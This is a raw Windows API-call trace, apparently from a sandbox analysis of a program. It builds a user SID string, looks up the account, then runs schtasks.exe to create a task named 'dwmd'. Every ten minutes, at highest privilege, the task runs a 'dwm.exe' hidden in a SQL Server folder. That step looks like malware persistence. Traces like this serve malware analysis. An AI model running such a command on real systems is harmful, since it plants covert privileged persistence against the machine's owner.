(_Block=0x196ef0d1b20) [0107.059] free (_Block=0x196ef0f9b80) [0107.059] free (_Block=0x196ef0d1b40) [0107.059] free (_Block=0x196ef0d20e0) [0107.059] free (_Block=0x196ef0d1a40) [0107.060] free (_Block=0x196ef0d0f90) [0107.060] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0107.060] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0107.060] GetLastError () returned 0x7a [0107.060] malloc (_Size=0x2c) returned 0x196ef0d0ed0 [0107.060] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0ed0, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0ed0, ReturnLength=0x67117c740) returned 1 [0107.060] IsValidSid (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0107.060] GetLengthSid (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0107.060] malloc (_Size=0x1c) returned 0x196ef0f9ac0 [0107.060] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9ac0, pSourceSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9ac0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0107.060] GetSidIdentifierAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ee2 [0107.060] malloc (_Size=0x18) returned 0x196ef0d1de0 [0107.060] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0107.060] malloc (_Size=0x18) returned 0x196ef0d1c60 [0107.061] malloc (_Size=0x18) returned 0x196ef0d2080 [0107.061] SysStringLen (param_1="S-1-") returned 0x4 [0107.061] SysStringLen (param_1="5") returned 0x1 [0107.061] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa9b8, _Size=0xa | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0107.061] memcpy (in: _Dst=0x196ee7c7680, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7c7680) returned 0x196ee7c7680 [0107.061] free (_Block=0x196ef0d1de0) [0107.061] free (_Block=0x196ef0d1c60) [0107.061] GetSidSubAuthorityCount (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ee1 [0107.061] GetSidSubAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0ee8 [0107.061] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0107.061] malloc (_Size=0x18) returned 0x196ef0d1a80 [0107.061] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0107.061] SysStringLen (param_1="S-1-5") returned 0x5 [0107.061] SysStringLen (param_1="-") returned 0x1 [0107.061] memcpy (in: _Dst=0x196ee79a188, _Src=0x196ee7c7678, _Size=0xc | out: _Dst=0x196ee79a188) returned 0x196ee79a188 [0107.061] memcpy (in: _Dst=0x196ee79a192, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee79a192) returned 0x196ee79a192 [0107.061] free (_Block=0x196ef0d2080) [0107.061] free (_Block=0x196ef0d1a80) [0107.061] malloc (_Size=0x18) returned 0x196ef0d1b00 [0107.062] malloc (_Size=0x18) returned 0x196ef0d1b40 [0107.062] SysStringLen (param_1="S-1-5-") returned 0x6 [0107.062] SysStringLen (param_1="21") returned 0x2 [0107.062] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee79a188, _Size=0xe | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0107.062] memcpy (in: _Dst=0x196ee7aa9c4, _Src=0x196ee7c7678, _Size=0x6 | out: _Dst=0x196ee7aa9c4) returned 0x196ee7aa9c4 [0107.062] free (_Block=0x196ef0d1ae0) [0107.062] free (_Block=0x196ef0d1b00) [0107.062] GetSidSubAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0eec [0107.062] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0107.062] malloc (_Size=0x18) returned 0x196ef0d1f60 [0107.062] malloc (_Size=0x18) returned 0x196ef0d1d40 [0107.062] SysStringLen (param_1="S-1-5-21") returned 0x8 [0107.062] SysStringLen (param_1="-") returned 0x1 [0107.062] memcpy (in: _Dst=0x196ee7c7678, _Src=0x196ee7aa9b8, _Size=0x12 | out: _Dst=0x196ee7c7678) returned 0x196ee7c7678 [0107.062] memcpy (in: _Dst=0x196ee7c7688, _Src=0x196ee79a188, _Size=0x4 | out: _Dst=0x196ee7c7688) returned 0x196ee7c7688 [0107.062] free (_Block=0x196ef0d1b40) [0107.062] free (_Block=0x196ef0d1f60) [0107.062] malloc (_Size=0x18) returned 0x196ef0d1a20 [0107.062] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0107.062] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0107.062] SysStringLen (param_1="1560258661") returned 0xa [0107.063] memcpy (in: _Dst=0x196ee777f78, _Src=0x196ee7c7678, _Size=0x14 | out: _Dst=0x196ee777f78) returned 0x196ee777f78 [0107.063] memcpy (in: _Dst=0x196ee777f8a, _Src=0x196ee7aa9b8, _Size=0x16 | out: _Dst=0x196ee777f8a) returned 0x196ee777f8a [0107.063] free (_Block=0x196ef0d1d40) [0107.063] free (_Block=0x196ef0d1a20) [0107.063] GetSidSubAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0ef0 [0107.063] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0107.063] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0107.063] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0107.063] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0107.063] SysStringLen (param_1="-") returned 0x1 [0107.063] memcpy (in: _Dst=0x196ee777258, _Src=0x196ee777f78, _Size=0x28 | out: _Dst=0x196ee777258) returned 0x196ee777258 [0107.063] memcpy (in: _Dst=0x196ee77727e, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee77727e) returned 0x196ee77727e [0107.063] free (_Block=0x196ef0d1ba0) [0107.063] free (_Block=0x196ef0d1ac0) [0107.063] malloc (_Size=0x18) returned 0x196ef0d20e0 [0107.063] malloc (_Size=0x18) returned 0x196ef0d1a60 [0107.063] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0107.063] SysStringLen (param_1="3990802383") returned 0xa [0107.063] memcpy (in: _Dst=0x196ee7aca58, _Src=0x196ee777258, _Size=0x2a | out: _Dst=0x196ee7aca58) returned 0x196ee7aca58 [0107.063] memcpy (in: _Dst=0x196ee7aca80, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7aca80) returned 0x196ee7aca80 [0107.063] free (_Block=0x196ef0d1bc0) [0107.064] free (_Block=0x196ef0d20e0) [0107.064] GetSidSubAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0ef4 [0107.064] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0107.064] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0107.064] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0107.064] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0107.064] SysStringLen (param_1="-") returned 0x1 [0107.064] memcpy (in: _Dst=0x196ee7ad318, _Src=0x196ee7aca58, _Size=0x3e | out: _Dst=0x196ee7ad318) returned 0x196ee7ad318 [0107.064] memcpy (in: _Dst=0x196ee7ad354, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7ad354) returned 0x196ee7ad354 [0107.064] free (_Block=0x196ef0d1a60) [0107.064] free (_Block=0x196ef0d1ba0) [0107.064] malloc (_Size=0x18) returned 0x196ef0d19e0 [0107.064] malloc (_Size=0x18) returned 0x196ef0d1d80 [0107.064] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0107.064] SysStringLen (param_1="1811730007") returned 0xa [0107.064] memcpy (in: _Dst=0x196ee7aca58, _Src=0x196ee7ad318, _Size=0x40 | out: _Dst=0x196ee7aca58) returned 0x196ee7aca58 [0107.064] memcpy (in: _Dst=0x196ee7aca96, _Src=0x196ee7c7678, _Size=0x16 | out: _Dst=0x196ee7aca96) returned 0x196ee7aca96 [0107.064] free (_Block=0x196ef0d1bc0) [0107.064] free (_Block=0x196ef0d19e0) [0107.064] GetSidSubAuthority (pSid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0ef8 [0107.064] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0107.065] malloc (_Size=0x18) returned 0x196ef0d1d00 [0107.065] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0107.065] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0107.065] SysStringLen (param_1="-") returned 0x1 [0107.065] memcpy (in: _Dst=0x196ee7ad318, _Src=0x196ee7aca58, _Size=0x54 | out: _Dst=0x196ee7ad318) returned 0x196ee7ad318 [0107.065] memcpy (in: _Dst=0x196ee7ad36a, _Src=0x196ee7c7678, _Size=0x4 | out: _Dst=0x196ee7ad36a) returned 0x196ee7ad36a [0107.065] free (_Block=0x196ef0d1d80) [0107.065] free (_Block=0x196ef0d1d00) [0107.065] malloc (_Size=0x18) returned 0x196ef0d1d20 [0107.065] malloc (_Size=0x18) returned 0x196ef0d1960 [0107.065] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0107.065] SysStringLen (param_1="1000") returned 0x4 [0107.065] memcpy (in: _Dst=0x196ee7aca58, _Src=0x196ee7ad318, _Size=0x56 | out: _Dst=0x196ee7aca58) returned 0x196ee7aca58 [0107.065] memcpy (in: _Dst=0x196ee7acaac, _Src=0x196ee7c7678, _Size=0xa | out: _Dst=0x196ee7acaac) returned 0x196ee7acaac [0107.065] free (_Block=0x196ef0d1aa0) [0107.065] free (_Block=0x196ef0d1d20) [0107.065] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0107.065] malloc (_Size=0x5e) returned 0x196ef0d0370 [0107.065] free (_Block=0x196ef0d1960) [0107.065] malloc (_Size=0x18) returned 0x196ef0d1a60 [0107.066] free (_Block=0x196ef0d0370) [0107.066] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0107.067] GetLastError () returned 0x7a [0107.067] malloc (_Size=0x1a) returned 0x196ef0f9be0 [0107.067] malloc (_Size=0xe) returned 0x196ef0d1d60 [0107.067] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ee0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9be0, cchName=0x67117c600, ReferencedDomainName=0x196ef0d1d60, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0107.068] malloc (_Size=0x18) returned 0x196ef0d1a80 [0107.068] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0107.068] free (_Block=0x196ef0f9be0) [0107.068] free (_Block=0x196ef0d1d60) [0107.068] free (_Block=0x196ef0f9ac0) [0107.069] free (_Block=0x196ef0d1ac0) [0107.069] free (_Block=0x196ef0d1a80) [0107.069] free (_Block=0x196ef0d1a60) [0107.069] free (_Block=0x196ef0d0ed0) [0107.069] SetEvent (hEvent=0x248) returned 1 [0107.070] free (_Block=0x196ef0d5d20) [0107.070] CreateEnvironmentBlock () returned 0x1 [0107.093] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0107.093] CreateProcessAsUserW (in: hToken=0x270, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"dwmd\" /sc MINUTE /mo 10 /tr \"'C:\\Program Files\\Microsoft SQL Server\\110\\Shared\\dwm.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x11e8, dwThreadId=0x1214)) returned 1 [0107.100] CloseHandle (hObject=0x260) returned 1 [0107.100] CloseHandle (hObject=0x264) returned 1 [0107.101] free (_Block=0x196ef0d1fc0) [0107.101] DestroyEnvironmentBlock () returned 0x1 [0107.101] malloc (_Size=0x48) returned 0x196ef0d5500 [0107.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x20b08fc1, dwHighDateTime=0x1d9eb0c)) [0107.101] SetEvent (hEvent=0x248) returned 1 [0107.102] CloseHandle (hObject=0x26c) returned 1 [0107.102] CloseHandle (hObject=0x270) returned 1 [0107.156] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788250 [0107.156] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788250, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0107.156] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0107.156] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0108.012] RtlRestoreLastWin32Error () returned 0x670dbf000 [0108.012] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0108.012] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0108.012] RtlRestoreLastWin32Error () returned 0x670dbf000 [0108.013] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0108.013] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0108.013] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0108.013] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0108.013] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0108.013] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0108.015] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0108.016] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0108.016] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0108.016] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0108.016] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0108.018] GetCurrentThread () returned 0xfffffffffffffffe [0108.018] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x270) returned 1 [0108.018] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x26c) returned 1 [0108.019] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0108.019] GetLastError () returned 0x7a [0108.019] malloc (_Size=0x2c) returned 0x196ef0d0d10 [0108.019] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d10, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0d10, ReturnLength=0x67117c740) returned 1 [0108.019] IsValidSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.019] GetLengthSid (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0108.019] malloc (_Size=0x1c) returned 0x196ef0f9e80 [0108.019] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9e80, pSourceSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9e80*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0108.019] GetSidIdentifierAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d22 [0108.019] malloc (_Size=0x18) returned 0x196ef0d1b20 [0108.019] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0108.019] malloc (_Size=0x18) returned 0x196ef0d1a20 [0108.019] malloc (_Size=0x18) returned 0x196ef0d1d00 [0108.019] SysStringLen (param_1="S-1-") returned 0x4 [0108.019] SysStringLen (param_1="5") returned 0x1 [0108.019] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0108.019] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0108.019] free (_Block=0x196ef0d1b20) [0108.019] free (_Block=0x196ef0d1a20) [0108.019] GetSidSubAuthorityCount (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0d21 [0108.019] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0d28 [0108.019] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0108.019] malloc (_Size=0x18) returned 0x196ef0d1f60 [0108.019] malloc (_Size=0x18) returned 0x196ef0d1e20 [0108.019] SysStringLen (param_1="S-1-5") returned 0x5 [0108.020] SysStringLen (param_1="-") returned 0x1 [0108.020] memcpy (in: _Dst=0x196ee7aa658, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7aa658) returned 0x196ee7aa658 [0108.020] memcpy (in: _Dst=0x196ee7aa662, _Src=0x196ee7aa9e8, _Size=0x4 | out: _Dst=0x196ee7aa662) returned 0x196ee7aa662 [0108.020] free (_Block=0x196ef0d1d00) [0108.020] free (_Block=0x196ef0d1f60) [0108.020] malloc (_Size=0x18) returned 0x196ef0d1d60 [0108.020] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0108.020] SysStringLen (param_1="S-1-5-") returned 0x6 [0108.020] SysStringLen (param_1="21") returned 0x2 [0108.020] memcpy (in: _Dst=0x196ee7aa9e8, _Src=0x196ee7aa658, _Size=0xe | out: _Dst=0x196ee7aa9e8) returned 0x196ee7aa9e8 [0108.020] memcpy (in: _Dst=0x196ee7aa9f4, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7aa9f4) returned 0x196ee7aa9f4 [0108.020] free (_Block=0x196ef0d1e20) [0108.020] free (_Block=0x196ef0d1d60) [0108.020] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0d2c [0108.020] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0108.020] malloc (_Size=0x18) returned 0x196ef0d1d40 [0108.020] malloc (_Size=0x18) returned 0x196ef0d1c20 [0108.020] SysStringLen (param_1="S-1-5-21") returned 0x8 [0108.020] SysStringLen (param_1="-") returned 0x1 [0108.020] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa9e8, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0108.020] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7aa658, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0108.020] free (_Block=0x196ef0d1ae0) [0108.020] free (_Block=0x196ef0d1d40) [0108.020] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0108.020] malloc (_Size=0x18) returned 0x196ef0d1c40 [0108.021] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0108.021] SysStringLen (param_1="1560258661") returned 0xa [0108.021] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0108.021] memcpy (in: _Dst=0x196ee777daa, _Src=0x196ee7aa9e8, _Size=0x16 | out: _Dst=0x196ee777daa) returned 0x196ee777daa [0108.021] free (_Block=0x196ef0d1c20) [0108.021] free (_Block=0x196ef0d1ea0) [0108.021] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0d30 [0108.021] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0108.021] malloc (_Size=0x18) returned 0x196ef0d20a0 [0108.021] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0108.021] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0108.021] SysStringLen (param_1="-") returned 0x1 [0108.021] memcpy (in: _Dst=0x196ee777ed8, _Src=0x196ee777d98, _Size=0x28 | out: _Dst=0x196ee777ed8) returned 0x196ee777ed8 [0108.021] memcpy (in: _Dst=0x196ee777efe, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee777efe) returned 0x196ee777efe [0108.021] free (_Block=0x196ef0d1c40) [0108.021] free (_Block=0x196ef0d20a0) [0108.021] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0108.021] malloc (_Size=0x18) returned 0x196ef0d1f20 [0108.021] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0108.021] SysStringLen (param_1="3990802383") returned 0xa [0108.021] memcpy (in: _Dst=0x196ee7bbb58, _Src=0x196ee777ed8, _Size=0x2a | out: _Dst=0x196ee7bbb58) returned 0x196ee7bbb58 [0108.021] memcpy (in: _Dst=0x196ee7bbb80, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7bbb80) returned 0x196ee7bbb80 [0108.021] free (_Block=0x196ef0d1fa0) [0108.021] free (_Block=0x196ef0d1ce0) [0108.021] GetSidSubAuthority (pSid=0x196ef0d0d20*(Revision=0x1, SubAuthorityCount=0x5, 